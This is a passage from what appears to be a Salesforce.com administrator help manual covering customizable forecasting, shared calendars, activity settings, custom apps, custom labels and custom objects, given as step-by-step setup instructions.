Setting Up Your Forecast Hierarchy

Assigning Forecast Managers in Your Forecast Hierarchy


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up forecast hierarchy: “Customize Application”

After users are enabled for customizable forecasting, assign a user as a forecast manager for each role in your forecast hierarchy.
Assigning someone as a forecast manager means that all forecasts from users below that user in the forecast hierarchy roll up
to that person. For example, an executive and executive assistant may have the same role, but the executive is the assigned
forecast manager in the forecast hierarchy because all subordinates' forecasts roll up to the executive. Both the executive and
executive assistant can submit forecasts, but forecasts of other users do not roll up to the executive assistant.
If a role in the forecast hierarchy has no forecast manager, that role and all its subordinate roles are not included in your
forecasts.
If Nonforecasting appears next to a role or territory in the forecast hierarchy, it means that a forecast manager has not
been assigned to that role or territory.

1. Click Setup ➤ Customize ➤ Forecasts ➤ Forecast Hierarchy.


2. Click Assign Manager or Edit Manager next to a role to assign a user as the forecast manager of that role.
Roles without roles below them cannot have forecast managers unless your organization has territory management, which
supports forecast managers at all levels.

746
Customize Enabling Customizable Forecasting

3. Choose a user to be assigned as the forecast manager of the selected role. If no users are available for the role, enable the
appropriate user; see Enabling Users for Customizable Forecasting on page 745.
4. If forecast sharing is enabled, choose the sharing settings:

• Choose Require Administrator assistance for forecast sharing to limit forecast sharing for this view
to administrators. This is the default option.
• Choose Forecast managers can share their own forecast views to allow the administrator or the
forecast manager to share this view.

5. Click Save.

Note: If these options are not available to you, you may not have customizable forecasting. To determine if your
organization has enabled customizable forecasting, see Do I Have Customizable Forecasting? on page 1581.

See Also:
Setting Up Your Forecast Hierarchy
Manually Sharing a Forecast

Enabling Customizable Forecasting


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To enable customizable forecasts: “Customize Application”

Enabling customizable forecasting for your organization allows your forecast users to view and submit their customizable
forecasts from the Forecasts tab based on your customizable forecast settings.
Note: If these options are not available to you, you may not have customizable forecasting. To determine if your
organization has enabled customizable forecasting, see Do I Have Customizable Forecasting? on page 1581.

1. Click Setup ➤ Customize ➤ Forecasts ➤ Forecast Hierarchy.


2. Click Enable Customizable Forecasting. If this option is not available, customizable forecasting is already enabled for
your organization. After you enable customizable forecasting, three new user permissions are available:

Permission Description
Override Forecasts Allows users to override their own forecasts and forecasts
for users below them in the forecast hierarchy. All standard
profiles except Read Only receive this permission.
Edit Personal Quota
Allows users to change their individual quotas. All standard
profiles except Read Only receive this permission.

747
Customize Manually Sharing a Forecast

Permission Description
Users with the “Manage Users” permission can always edit
any quota. Users can always edit the quotas of users that
report directly to them.

View All Forecasts Allows users to view any forecast regardless of their place in
the forecast hierarchy. The System Administrator profile
includes this permission.

3. Choose the appropriate opportunity page layouts that you want to include the new Opportunity Forecasts related list.
Optionally, choose the Append... option to add this related list to page layouts even if users have customized them.
4. Click Save.
5. If your organization has custom profiles, enable or disable these permissions where necessary in your custom profiles. For
information on changing your profiles, see Creating and Editing Profiles on page 146.
Note: With customizable forecasts, your forecasts still depend on how your Opportunity Stage picklist values
map to Forecast Categories. For instructions on reviewing these mappings, see Updating Opportunity Stages on page
438.

See Also:
Setting Up Customizable Forecasting
Enabling Territory Management
Manually Sharing a Forecast

Manually Sharing a Forecast


Available in: Professional, Enterprise, Unlimited, and Developer Editions

Your administrator defines your organization's forecasting hierarchy, which determines which users can view the forecast data.
However, your administrator can manually extend sharing privileges for forecast data, and you may be able to manually extend
sharing privileges for your own forecast data as well. Manual forecast sharing can only increase access to forecast data; it cannot
restrict access for users who already have access. To manually share a forecast, you must be an administrator or a forecast
manager who has been given access to share your forecast data.
To see which users can view your forecast or to share your forecast data, do one of the following:

• Click Setup ➤ Customize ➤ Forecasts ➤ Forecast Hierarchy, then click Share next to the view you want to share.
• Click Sharing on the forecast home page to share your own forecast data.

The User and Group Sharing list shows you all the users who currently have access to this forecast data. It also details the level
of access they have, whether they can submit a forecast, and the reason they have that access. The reasons a user might have
access to forecast data are:

748
Customize Submitting Customizable Forecasts in Batches

Reason Description
Administrator The user is an administrator, or has the “Modify All Data”
permission
Delegated Forecast Manager A user has access to forecast data that was granted via the
Sharing button on the forecast.
Forecast Manager A user has access due to being a forecast manager in the
forecast hierarchy.
Owner The owner can always see his or her own forecast data.
View All Forecasts Permission The user has a profile with the “View All Forecasts”
permission.

On the Forecast Sharing Detail page, you can do any of the following:

• To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.
• Click Add to grant other users or groups access to the forecast data.
Note: Manual sharing extends to the opportunity data that makes up the forecast. If a user has permission to
override forecast data, then the user also has permission to override the opportunity forecast data.

• Click Expand List to view all users that have access to the forecast data.
• For manual sharing rules that you created, click Edit or Del next to an item in the list to edit or delete the access level.

See Also:
Defining Customizable Forecast Settings
Assigning Forecast Managers in Your Forecast Hierarchy
Enabling Customizable Forecasting
Granting Access to Records
Viewing Which Users Have Access

Submitting Customizable Forecasts in Batches


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To submit forecasts in batches: “Customize Application”

Submitting forecasts takes a snapshot of forecast data and makes that data available in forecast history and reports. Users can
submit their forecasts individually by clicking Submit from their forecast.

749
Customize Managing Public and Resource Calendars

To submit multiple forecasts at once:

1. Click Setup ➤ Customize ➤ Forecasts ➤ Batch Submit.


2. Choose the appropriate forecast period.
3. Select the users that have forecasts you want to submit and click Add to add them to the list of Selected Users for
Batch Submit. Select more than one at a time using CTRL+click.
4. Click Submit.
5. Click OK.

Note: If these options are not available to you, you may not have customizable forecasting. To determine if your
organization has enabled customizable forecasting, see Do I Have Customizable Forecasting? on page 1581.

See Also:
Setting Up Customizable Forecasting

Managing Public and Resource Calendars


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To manage public calendars: “Customize Application”
To manage resource calendars: “Customize Application”

In contrast to users' individual calendars, public and resource calendars are for managing group activities or shared resources.
Using public calendars, a group of people can track events of interest to all of them (such as marketing events, product releases,
or training classes) or schedule a common activity (such as a team vacation calendar). For example, your marketing team can
set up an events calendar to show upcoming marketing events to the entire sales and marketing organization.
With resource calendars, multiple people can coordinate their usage of a shared resource such as a conference room or overhead
projector.
To display a list of the currently-defined public and resource calendars, click Setup ➤ Customize ➤ Activities ➤ Public
Calendars & Resources.
From the list page, you can perform the following tasks:

• To view the properties of a calendar, click its name in the list.


• To edit calendar properties, click Edit.
• To create a new public calendar or resource:

1. Click New.
2. Give the calendar or resource a name, and check Active.
3. Click Save.

750
Customize Managing Public and Resource Calendars

4. To make the new calendar or resource available to others, click Sharing. Add the public groups, roles, or users with
whom you want to share the calendar.
5. In Calendar Access, specify how to share the calendar by selecting one of the following:

Sharing Model Results


Hide Details Others can see whether given times are available, but
cannot see any other information about the nature of events
in the calendar.
Hide Details and Add Events Others can see whether given times are available, but
cannot see details of events. Other users can insert events
in the calendar.
Show Details Others can see detailed information about events in the
calendar.
Show Details and Add Events Others can see detailed information about events in the
calendar and can insert events in the calendar.
Full Access Others can see detailed information about events in the
calendar, insert events in the calendar, and edit existing
events in the calendar.

Note: Users need the appropriate “Read” permission to see the related record of any activity. For example, an event
invitee who does not have “Read” permission on cases will not be able to view the case associated with the event.

See Also:
Deleting a Public Calendar
Creating Activities
Administrator tip sheet: Setting Up Group Calendaring

Deleting a Public Calendar


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To delete a public calendar: “Customize Application”

1. Click Setup ➤ Customize ➤ Activities ➤ Public Calendars & Resources.

751
Customize Customizing Activity Settings

2. Click Del next to the name of the calendar you want to delete.

See Also:
Managing Public and Resource Calendars

Customizing Activity Settings


The availability of these settings varies by Edition. However, most are available in All Editions.

User Permissions Needed


To view activity settings: “View Setup and Configuration”
To customize activity settings: “Customize Application”

On the Activity Settings page at Setup ➤ Customize ➤ Activities ➤ Activity Settings, you can turn the following settings
on or off for your organization:

• Enable Group Tasks


• Enable Sidebar Calendar Shortcut
• Enable Creation of Recurring Events
• Enable Creation of Recurring Tasks
• Enable Activity Reminders
• Enable Email Tracking
• Show Event Details on Multi-User Calendar View
• Enable Multiday Events

Enable Group Tasks


On by default for all Editions. When selected, this checkbox allows users to assign independent copies of a new task to
multiple users. For more information, see Creating Group Tasks on page 1212.

Enable Sidebar Calendar Shortcut


Available in all Editions. Select this checkbox to display a shortcut link to a user's last used calendar view in the sidebar:
. In the sidebar, the calendar shortcut displays above the Recent Items component. For more information on the
sidebar, see About the Sidebar on page 1595.

Enable Creation of Recurring Events


Available in all Editions. Select this checkbox to allow users to create events that repeat at specified intervals.

Enable Creation of Recurring Tasks


Available in all Editions. Select this checkbox to allow users to create tasks that repeat at specified intervals. If you disable
this setting, users can still edit the interval of an existing recurring task, but cannot create new recurring tasks.

752
Customize Customizing Activity Settings

Enable Activity Reminders


Available in all Editions. Select this checkbox to enable activity reminders for your organization.
Salesforce.com can display popup reminders for upcoming tasks and events. Reminders notify the activity assignee of
an upcoming task or event. The reminder displays in a small browser popup window when the activity assignee is logged
in to Salesforce.com. When a user logs in, any reminders that have not been dismissed and reminders scheduled to occur
since the last time the user logged out are shown in the reminder window.
If you disable reminders, users will not be reminded of tasks or events that have reminders set, they will no longer be
able to add new reminders, and they will not be able to configure default reminders. Existing settings and reminders on
tasks and events will be retained if you later re-enable reminders.
For more information, see Setting Reminders on Activities on page 1180.

Enable Email Tracking


Available in Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions. Outbound HTML
emails are tracked by default if your organization uses HTML email templates. You can select or deselect this checkbox
to control email tracking. If you disable email tracking, email tracking information for your organization is no longer
stored. However, the HTML Email Status related list remains on page layouts and email tracking reports remain on
the Reports tab.

Show Event Details on Multi-User Calendar View


Available in Professional, Enterprise, Unlimited, and Developer Editions. If your organization-wide calendar sharing
includes Show Details or if you are the manager of another user in the role hierarchy, group calendar views typically
display the details of users' events when you hover your mouse over the “busy” areas of the calendar. When you select
the Show Event Details on Multi-User Calendar View checkbox, event details display on-screen rather
than in mouse over text. This setting applies to daily, weekly, and monthly group calendar views for all users. Group
calendar views include multi-user calendar views and public resource calendars.
Note: Enabling this setting does not override calendar sharing. If a user's calendar details are not visible to other
users because of calendar sharing or the user's position in the role hierarchy, this setting respects that lack of
visibility.

Enable Multiday Events


Available and enabled by default in all Editions. When this checkbox is selected, Salesforce.com supports events that
end more than one day (24 hours) after they start. For information on creating multiday events, see Creating Events on
page 1199. For information on creating multiday events using the API, see the Force.com Web Services API Developer's
Guide. You must use version 13.0 or later of the API to create a multiday event using the API

See Also:
Customizing User Interface Settings

753
CREATE

App Builder Tools Overview


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

The platform includes innovative point-and-click app builder tools that give you the power to customize Salesforce.com to
meet the needs of your business. You can also build your own applications to share and store information that is important to
you. These tools do not require any programming knowledge. Click Setup ➤ Create to access the following options.
Apps
Build your own applications by defining groups of standard and custom tabs.

Custom Labels
Create custom text values that can be used in multilingual apps.

Objects
Create custom data and custom related lists to store and display information unique to your organization.

Packages
Create collections of items such as apps, objects, workflow rules, or email templates, and upload them on Force.com
AppExchange to be shared with others.

Report Types
Available in Professional, Enterprise, Unlimited, and Developer Editions only. Create custom report types so that your
users have more power and flexibility while building custom reports.

Tabs
Create tabs to display and edit the data in your custom objects or embed web content and applications within the user
interface.

Workflow and Approvals


Available in Enterprise, Unlimited, and Developer Editions only. Create automated business processes that send email
alerts, assign tasks, update fields, and set outbound messages to external services.

The platform also includes app builder tools that require some programming knowledge. Tools that require advanced
programming knowledge are located at Setup ➤ Develop.

See Also:
App Setup Overview

754
Create What is an App?

What is an App?
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view apps: “View Setup and Configuration”
To manage apps: “Customize Application”

An “app” is a group of tabs that works as a unit to provide application functionality. Salesforce.com provides standard apps
such as Sales and Call Center. You can customize the standard apps to match the way you work.
You can also build your own on-demand apps by grouping standard and custom tabs into new custom apps. A custom app
consists of a label, a description, and an ordered list of tabs. You can also set custom logos for your custom apps. With custom
apps, you can extend the kinds of information that you manage and share online beyond CRM. Custom apps are part of the
Force.com platform that allows you to create and share custom applications with other Salesforce.com users. For information
about sharing apps that you have built, see Overview of Packages on page 907.
Your available custom apps are listed in the Force.com app menu, which is a drop-down list that displays at the top of every
Salesforce.com page. When you choose an app from the Force.com app menu, your screen changes to reflect the contents of
that app. For example, if you switch from an app that contains the Opportunities tab to another app that does not, the
Opportunities tab will disappear, and the Opportunity option will no longer appear in the Create New drop-down list in the
sidebar. In addition, the app may display a different initial or default landing tab when selected.
Apps are associated with profiles. Profiles control which tabs you can see or hide, as well as which apps are available to you.
You can personalize the tabs in your apps as much as your profile allows. For information about personalizing the tabs you
see, refer to Customizing Your Display on page 59.
Note: For Salesforce Platform and Salesforce Platform One license users, the Platform standard app is the only app
listed in the Force.com app menu. For details about specifying a unique label for the Platform standard app, see
Defining Custom Apps on page 756.

See Also:
Defining Custom Apps
Managing Apps
Managing Profiles

755
Create Defining Custom Apps

Defining Custom Apps


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view apps: “View Setup and Configuration”
To manage apps: “Customize Application”

Define custom apps to build on-demand applications for your users. See Salesforce.com Editions and Limits on page 1007 for
the total number of custom apps you can define.
To define custom apps:

1. Click Setup ➤ Create ➤ Apps.


2. Click New.
3. Specify a label for the custom app. The label of a custom app can have a maximum of 40 characters, including spaces. This
label displays in the Force.com app menu for users to switch to this custom app.
4. Optionally, enter a description of the custom app.
5. Click Next.
6. Optionally, specify a custom logo for the custom app. Click Insert an image to choose an image file from the document
library.
Consider these requirements when choosing a custom app logo from the document library:

• The image must be in GIF or JPEG format and less than 20 KB in size.
• If the image is larger than 300 pixels wide by 55 pixels high, then it will be scaled to fit.
• For the best display on-screen, we recommend you use an image with a transparent background.
• The Externally Available checkbox must be selected on the document's properties so that users can view the
image.

7. Click Next.
8. Click the left and right arrow buttons to add or remove tabs from the app.
9. Click the up and down arrow buttons to define the order in which the tabs will display in the app.
10. Optionally, set the default landing tab for your new app using the Default Landing Tab drop-down menu below the list
of selected tabs. This determines the first tab a user sees when logging into this app.
11. For Professional Edition users, click Save to finish the wizard. For Enterprise or Developer Edition users, click Next.
12. Check the Visible box to choose the user profiles for which the app will be available.
13. Check the Default box to set the app as that profile’s default app. This means that new users who have the profile will
see this app when they log in for the first time. Profiles with limits are excluded from this list.

756
Create Managing Apps

14. Click Save to finish the wizard.

See Also:
Managing Apps
What is an App?

Managing Apps
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view apps: “View Setup and Configuration”
To manage apps: “Customize Application”

You can customize the standard and custom apps in your organization. Click Setup ➤ Create ➤ Apps to display a list of
your organization’s apps.

• To view details for an app, click the app Label. This displays the properties of the app, such as which tabs are part of the
app, including any tabs that are not yet deployed.
• To change the properties of an app, click Edit. For details, see Editing App Properties on page 758.
• To remove a custom app, click Del. Standard apps cannot be deleted.
• To create a new custom app, click New. For details, see Defining Custom Apps on page 756.
• To change the order of apps in the Force.com app menu, click Reorder. For details, see Reordering the Force.com App
Menu on page 759.
For Salesforce Platform and Salesforce Platform One license users, the Platform standard app is the only app listed in the
Force.com app menu.

For details about uploading an app to Force.com AppExchange, see Preparing Your Apps for Distribution on page 919.

See Also:
What is an App?

757
Create Managing Apps

Editing App Properties


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view apps: “View Setup and Configuration”
To manage apps: “Customize Application”

You can change the properties of the standard and custom apps in your organization. For example, you can specify a custom
logo for a custom app, or you can specify which tabs are available in a standard or custom app. Note that you cannot change
the label, description, or logo for a standard app.
To edit the properties of an app:

1. Click Setup ➤ Create ➤ Apps.


2. Click Edit next to the app you want to modify.
3. Specify a label for the custom app. The label of a custom app can have a maximum of 40 characters, including spaces. This
label displays in the Force.com app menu for users to switch to this custom app.
4. Optionally, enter a description of the custom app.
5. Optionally, specify a custom logo for the custom app. Click Insert an image to choose an image file from the document
library.
Consider these requirements when choosing a custom app logo from the document library:

• The image must be in GIF or JPEG format and less than 20 KB in size.
• If the image is larger than 300 pixels wide by 55 pixels high, then it will be scaled to fit.
• For the best display on-screen, we recommend you use an image with a transparent background.
• The Externally Available checkbox must be selected on the document's properties so that users can view the
image.

6. Click the left and right arrow buttons to add or remove tabs from the app.
7. Click the up and down arrow buttons to define the order in which the tabs will display in the app.
8. Optionally, set the default landing tab for your new app using the Default Landing Tab drop-down menu below the
list of selected tabs. This determines the first tab a user sees when logging into this app.
9. Optionally, select the Overwrite users' personal custom app customizations checkbox to override any app
personalizations users may have made.
10. Check the Visible box to choose the user profiles for which the app will be available.
11. Check the Default box to set the app as that profile’s default app. This means that new users who have the profile will
see this app when they log in for the first time. Profiles with limits are excluded from this list.
12. Click Save.

See Also:
What is an App?
Managing Apps

758
Create Managing Apps

Reordering the Force.com App Menu


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view apps: “View Setup and Configuration”
To manage apps: “Customize Application”

You can change the order in which apps appear in the Force.com app menu. The Force.com app menu is a drop-down list
that displays at the top of every application page.

1. Click Setup ➤ Create ➤ Apps.


2. Click Reorder.
3. Click the arrows as desired to change the app order.
4. Click Save. The changes will take effect immediately.

See Also:
What is an App?
Defining Custom Apps
Managing Apps

759
Create Custom Labels Overview

CUSTOM LABELS

Custom Labels Overview


Available in: Developer, Professional, Enterprise, and Unlimited Editions

User Permissions Needed


Create, edit, or delete custom labels: “Customize Application”
Create or override a translation: “Manage Translation”
OR
“View Setup and Configuration” and be designated as a
translator

Custom labels are custom text values that can be accessed from Apex classes or Visualforce pages. The values can be translated
into any language Salesforce.com supports. Custom labels enable developers to create multilingual applications by automatically
presenting information (for example, help text or error messages) in a user's native language.
You can create up to 5,000 custom labels for your organization, and they can be up to 1,000 characters in length.
To access custom labels, click Setup ➤ Create ➤ Custom Labels. From this page, you can:

• Create a new custom label or edit an existing custom label.


• View an existing custom label. From the view page, you can create a new translation or override an existing translation
with a translation used by your organization.

To add a custom label to your application, use the following steps:

1. Create a new custom label.


2. Translate the value of the label into the languages supported by your application.
3. Call the label using either an Apex class or a Visualforce page. Custom labels are called in Apex using
System.Label.Label_name. For Visualforce, use the $Label global variable.
4. Include the label in your application when you package it for the AppExchange.

760
Create Adding or Editing Custom Labels

Tip: If an Apex class or Visualforce page references a custom label, and that label has translations, you must
explicitly package the individual languages desired in order for those translations to be included in the package.

See Also:
Adding or Editing Custom Labels
Viewing Custom Labels
Creating Translations for Custom Labels
Overriding Translations for Custom Labels
Setting Up Translation Workbench

Adding or Editing Custom Labels


Available in: Developer, Professional, Enterprise, and Unlimited Editions

User Permissions Needed


Create, edit, or delete custom labels: “Customize Application”
Create or override a translation: “Manage Translation”
OR
“View Setup and Configuration” and be designated as a
translator

To create or edit a new custom label:

1. From Setup ➤ Create ➤ Custom Labels, either click New Custom Label to create a new label, or click Edit next to the
custom label you want to edit.
2. In the Short Description text box, enter an easily recognizable term to identify this custom label. This description is used
in merge fields.
Note: You cannot change the language of an existing custom label.

3. If you are creating a new custom label, in the Name text box, enter the name the label uses. This value is used in Apex
scripts and Visualforce pages to reference the custom label. Names must contain only alphanumeric characters, start with
a letter, contain no spaces or double underscores, and be unique from all other labels in your organization.
4. Check the Protected Component check box to mark the custom label as protected. For more information, see Protected
Components on page 916.
5. In the Categories text box, enter text to categorize the label. This field can be used in filter criteria when creating custom
label list views. Separate each category with a comma. The total number of characters allowed in the Categories text box
is 255.

761
Create Viewing Custom Labels

6. In the Value text box, enter text up to 1,000 characters. This value can be translated into any language Salesforce.com
supports.
Note: It may take a few minutes before all users see any changes you make to this field.

7. Click Save.

See Also:
Custom Labels Overview
Viewing Custom Labels

Viewing Custom Labels


Available in: Developer, Professional, Enterprise, and Unlimited Editions

User Permissions Needed


Create, edit, or delete custom labels: “Customize Application”
Create or override a translation: “Manage Translation”
OR
“View Setup and Configuration” and be designated as a
translator

After creating a custom label, you can:

• Edit the custom label.


Note: You cannot edit the attributes of custom labels installed as part of a managed package. You can only override
the existing translations or provide new translations for languages not included in the package.

• Delete a custom label.


Note: You cannot delete custom labels installed as part of a managed package, or that are referenced by an Apex
script or a Visualforce page. You can only override the existing translations.

• Override an existing translation.


• Create, edit, or delete a local translation.

Translations
You can create translations for custom labels. To create translations, you must enable the translation workbench.

762
Create Creating Translations for Custom Labels

To create a new local translation, click New and enter the custom label information. See Creating Translations for Custom
Labels on page 763.
For custom labels installed as part of a managed package, you can override the existing translations or provide new translations
for languages not included in the package.
To override an existing translation, click Override next to the translation you want to override and enter the new translation
information. See Overriding Translations for Custom Labels on page 764.
If you want to revert to the translation installed as part of the managed package, click Reset next to the name of the custom
label. All override information will be lost.

Creating Translations for Custom Labels


Available in: Developer, Professional, Enterprise, and Unlimited Editions

User Permissions Needed


Create, edit, or delete custom labels: “Customize Application”
Create or override a translation: “Manage Translation”
OR
“View Setup and Configuration” and be designated as a
translator

To create a new translation for a custom label:

1. Enable the translation workbench.


2. From Setup ➤ Create ➤ Custom Labels, select the custom label, then click New Local Translation/Override.
3. Select the Translation Language. You can choose any language Salesforce.com supports for which you are designated as
a translator.
4. In the Translation Text text box, enter the new translation text. This text overrides the value specified in label's Value
field when the user's default language is the translation language.
5. Click Save.

See Also:
Custom Labels Overview
Viewing Custom Labels
Overriding Translations for Custom Labels
Setting Up Translation Workbench

763
Create Overriding Translations for Custom Labels

Overriding Translations for Custom Labels


Available in: Developer, Professional, Enterprise, and Unlimited Editions

User Permissions Needed


Create, edit, or delete custom labels: “Customize Application”
Create or override a translation: “Manage Translation”
OR
“View Setup and Configuration” and be designated as a
translator

To override an existing translation:

1. Enable the translation workbench.


2. From Setup ➤ Create ➤ Custom Labels, select the custom label, then click Override.
3. In the Translation Text text box, enter the new translation text. This text overrides the value specified in label's Value
field when the user's default language is the translation language.
4. Click Save.

If you want to revert to the translation installed as part of the managed package, click Reset next to the name of the custom
label. All override information will be lost.

See Also:
Custom Labels Overview
Viewing Custom Labels
Creating Translations for Custom Labels
Setting Up Translation Workbench

What is a Custom Object?


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Custom objects are custom database tables that allow you to store information unique to your organization. For example, your
organization may want to create a custom object called Quotes to store data for your company’s sales quotes. For the total
number of custom objects you can create, see Salesforce.com Editions and Limits on page 1007.
After you define a custom object, you can:

• Create custom fields. For the total number of custom fields you can create, see Salesforce.com Editions and Limits on
page 1007.

764
Create Defining Custom Objects

• Associate the custom object with other records and display the custom object data in custom related lists. For more
information, see Overview of Relationships on page 771.
• Track tasks and events for custom object records
• Build page layouts
• Customize the search results and the custom object fields that display in them
• Create a custom tab for the custom object
• Create reports and dashboards to analyze custom object data
• Share your custom objects, custom tabs, custom apps, and any other related components with other Salesforce.com users
on Force.com AppExchange. See Overview of Packages on page 907.
• Import custom object records
• Set up a queue to distribute ownership of custom object records

See Also:
Defining Object-Level Help
Tip sheet: Building Custom Objects, Tabs, and Related Lists
What is an App?

Defining Custom Objects


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create and edit custom objects: "Customize Application"

Define custom objects to track and store data unique to your organization. For the total number of custom objects you can
create, see Salesforce.com Editions and Limits on page 1007.
To create a custom object:

1. Click Setup ➤ Create ➤ Objects.


2. Click New Custom Object, or click Edit to modify an existing custom object.
3. Enter the following:

Field Description
Label A name used to refer to the object in any user interface pages.
Plural Label The plural name of the object. If you create a tab for this
object, this name is used for the tab.
Gender If it is appropriate for your organization’s default language,
specify the gender of the label. This field appears if the
organization-wide default language expects gender. Your
personal language preference setting does not affect whether

765
Create Defining Custom Objects

Field Description
the field appears. For example, if the organization’s default
language is English and your personal language is French,
you are not prompted for gender when creating a custom
object.
Starts with a vowel sound If it is appropriate for your organization’s default language,
check if your label should be preceded by "an" instead of "a."
Object Name A unique name used to refer to the object when using the
Force.com API. In managed packages, this unique name
prevents naming conflicts on package installations. The
Object Name field can contain only underscores and
alphanumeric characters. It must be unique, begin with a
letter, not include spaces, not end with an underscore, and
not contain two consecutive underscores.
Description An optional description of the object. A meaningful
description will help you remember the differences between
your custom objects when you are viewing them in a list.
Context-Sensitive Help Setting Defines what displays when users click the Help for this
Page context sensitive help link from the custom object
record home (overview), edit, and detail pages, as well as list
views and related lists. Choose Open the standard
Salesforce Help & Training window if you want to display
the basic Salesforce.com help available for any custom object
record. Choose Open a window using a Visualforce
page or Open a window using a custom s-control to display
the Visualforce page or s-control you select as the
context-sensitive help link from any custom object record
page.
Note: The Help & Training link at the top of any
page is not affected by this setting. It always opens
the Salesforce.com Help & Training window.

For more information on creating custom help, see Custom


Help Overview on page 606.
Custom S-Control The s-control you have defined that contains the help
content for this custom object.
Record Name The name used in page layouts, list views, related lists, and
search results.
Data Type The type of field (text or auto-number) for the record name.
Records that have unique IDs instead of names use
auto-numbers. An auto-number is a unique sequential
number assigned automatically. It is always a read-only field.

766
Create Defining Custom Objects

Field Description
Display Format For a Record Name of type auto-number, enter a display
format. You can have up to two sets of curly braces. For
more details about display format options, see Custom Field
Attributes on page 446.
Starting Number For a Record Name of type auto-number, enter the number
to use when creating your first record for this custom object.
Allow Reports Makes the data in the custom object records available for
reporting purposes.
To create reports on custom objects, choose the Other
Reports report type category unless the custom object has
a relationship with a standard object. When the custom
object has a master-detail relationship with a standard object,
or is a lookup object on a standard object, select the standard
object for the report type category instead.

Allow Activities Allows users to associate tasks and scheduled calendar events
related to the custom object records. For more information,
see Notes on Enabling Activities for Custom Objects on
page 768.
Enable Divisions If your organization has divisions enabled, select this option
to enable the custom object for divisions. Divisions group
records for simplified search results, list views, reports, and
other areas within Salesforce.com. Salesforce.com adds a
Division field to the custom object, and if the custom
object is the master in a master-detail relationship, any
custom objects on the detail side also get the Division
field and inherit their division from the master record.
For an overview of divisions, see Overview of Divisions on
page 95.

Track Field History Enables your organization to track changes to fields on the
custom object records, such as who changed the value of a
field, when it was changed, and what the value of the field
was before and after the edit. History data is available for
reporting, so users can easily create audit trail reports when
this feature is enabled. For more information, see Tracking
Field History on page 457.
Deployment Status Indicates whether the custom object is visible to other users.
For more information, see Deploying Custom Objects on
page 769.
Add Notes & Attachments... Allows users to be able to attach notes and attachments to
custom object records. This allows you to attach external
documents to any object record, in much the same way that
you can add a PDF or photo as an attachment to an email.

767
Create Defining Custom Objects

Field Description
This option is only available when you are creating a new
object.

Launch the New Custom Tab Wizard Starts the custom tab wizard after you save the custom object.
See Defining Custom Tabs on page 790.

4. Click Save. If you launched the custom tab wizard, see Defining Custom Tabs on page 790.

The data sharing model for all custom objects is controlled by an organization-wide default setting. For more information,
see Custom Object Security on page 785.
After you create a custom object, you can delegate the administration of the custom object to other non-administrator users.
See Delegating Custom Object Administration on page 247.
After you create a custom object, you can define queues to distribute ownership of custom object records to your users. See
Managing Queues on page 170.
Tip: Records from your custom object appear in search results if they are in a custom tab.

See Also:
Managing Workflow and Approvals
Overview of Relationships
Defining Object-Level Help

Notes on Enabling Activities for Custom Objects


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

• If you enable activities when creating a custom object, the activity related lists are added to the default page layout
automatically. If you enable activities later, after the custom object already exists, you must add the related lists to the page
layout manually.
• Disabling activities for a custom object does not delete existing activity records. However, activity related lists are removed
from custom object pages, and reports containing activities and the custom object are deleted.
• If a custom object has a master-detail relationship with accounts, the custom object’s activities roll up to the account and
cause the account’s Last Activity date to be updated. For custom objects related to other types of records, the activities
do not roll up.
• The ability to send emails or create mail merge documents is available for activities on custom objects. The email must be
sent to a contact or lead.
• When you change the ownership of a custom object record, any open activities related to that custom object are also
transferred to the new record owner.
• You cannot disable activity tracking for a custom object if any workflow tasks are associated with that custom object, or if
tasks and events are child data sets of the custom object in a mobile configuration.

768
Create Defining Custom Objects

• Custom object records can only be associated with a call log in Salesforce CRM Call Center if activities are enabled for
the object.

See Also:
Defining Custom Objects
Creating a Many-to-Many Relationship
Defining Data Sets

Deploying Custom Objects


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To deploy custom objects: “Customize Application”

While developing custom objects, you may not want users to see and interact with a new object. Because users may get frustrated
with changes in layout or lose data when you delete custom fields, control visibility of the new object until you are finished.
Use the Deployment Status setting in the custom object definition to control when users can see and use a custom object
and its associated custom tab, related lists, and reports.

• Choose “In Development” as the Deployment Status when first creating your custom object to hide it from users while
you are designing and testing it. Making the status “In Development” hides the custom object tab, search results, related
lists, and report data types from all users except those with the “Customize Application” permission.
• Change the Deployment Status to “Deployed” when you want to allow all users to use the custom object and any
associated custom tab, related lists, and reports.
• After deploying a custom object, change the Deployment Status back to “In Development” if you want to make more
enhancements to it.

Note: A custom report type's Deployment Status will automatically change from “Deployed” to “In Development”
if its primary object is a custom object whose Deployment Status changes from “Deployed” to “In Development.”
For more information, see Defining Custom Report Types on page 1935.

See Also:
Defining Custom Objects

769
Create Managing Custom Objects

Managing Custom Objects


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create and edit custom objects: “Customize Application”

After creating your custom objects, you can customize, edit, and delete them. Click Setup ➤ Create ➤ Objects to display
the Custom Objects list page, which shows the list of custom objects defined for your organization. From the Custom Objects
list page, you can:

• Click New Custom Object to define a custom object.


• Click the object name to display detailed information about the custom object and customize it further.
Optional features you can customize include enabling reports, tracking activities, tracking field history, and making the
object available for the Salesforce.com Customer Portal.
• To update the custom object definition, click Edit and update the desired fields in the wizard.
Note: The Allow Reports and Allow Activities fields are not locked in Managed - Released and can be
changed by the developer in future releases of a managed package

• To delete a custom object, click Del.


